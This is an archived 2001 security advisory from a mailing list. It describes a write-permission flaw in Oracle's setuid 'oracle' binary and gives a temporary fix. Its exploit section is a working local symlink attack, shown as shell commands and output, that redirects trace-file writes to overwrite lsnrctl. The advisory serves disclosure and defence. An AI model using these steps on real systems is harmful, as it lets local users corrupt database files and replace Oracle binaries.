[UNIX] Vulnerability Found In 'oracle' Binary

From: support@securiteam.com
Date: 08/04/01


From: support@securiteam.com
To: list@securiteam.com
Subject: [UNIX] Vulnerability Found In 'oracle' Binary
Message-Id: <20010804150750.005F013903@mail.der-keiler.de>
Date: Sat,  4 Aug 2001 17:07:50 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com

  Vulnerability Found In 'oracle' Binary
------------------------------------------------------------------------

SUMMARY

There is a write permission checking error in the 'oracle' binary that can
be used by local users to overwrite any file owned by the oracle user.
This would allow a local user to corrupt database files, overwrite
existing oracle binaries, etc.

DETAILS

Vulnerable systems:
Oracle version 8.0.5 up to version 8.1.6

Temporary solution:
Remove the setuid oracle off the oracle binary:
# chmod -s oracle

Exploit:
$ cd /tmp
$ mkdir rdbms
$ cd rdbms/
$ mkdir log
$ cd log
$
$ ls -alc
total 8
drwxrwxr-x 2 pask pask 4096 dic 14 02:33 .
drwxrwxr-x 3 pask pask 4096 dic 14 02:33 ..
$ export ORACLE_HOME=/tmp
$ export REAL_ORACLE_HOME=/usr/local/oracle/app/oracle/product/8.0.5
$ $REAL_ORACLE_HOME/bin/oracle
$ ls -alc
total 12
drwxrwxr-x 2 pask pask 4096 dic 14 02:35 .
drwxrwxr-x 3 pask pask 4096 dic 14 02:33 ..
-rw-r----- 1 oracle pask 47 dic 14 02:35 ora_24028.trc

$ ln -s $REAL_ORACLE_HOME/bin/lsnrctl ./ora_24050.trc
$ $REAL_ORACLE_HOME/bin/oracle
$ $REAL_ORACLE_HOME/bin/oracle
$ $REAL_ORACLE_HOME/bin/oracle
$ $REAL_ORACLE_HOME/bin/oracle

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages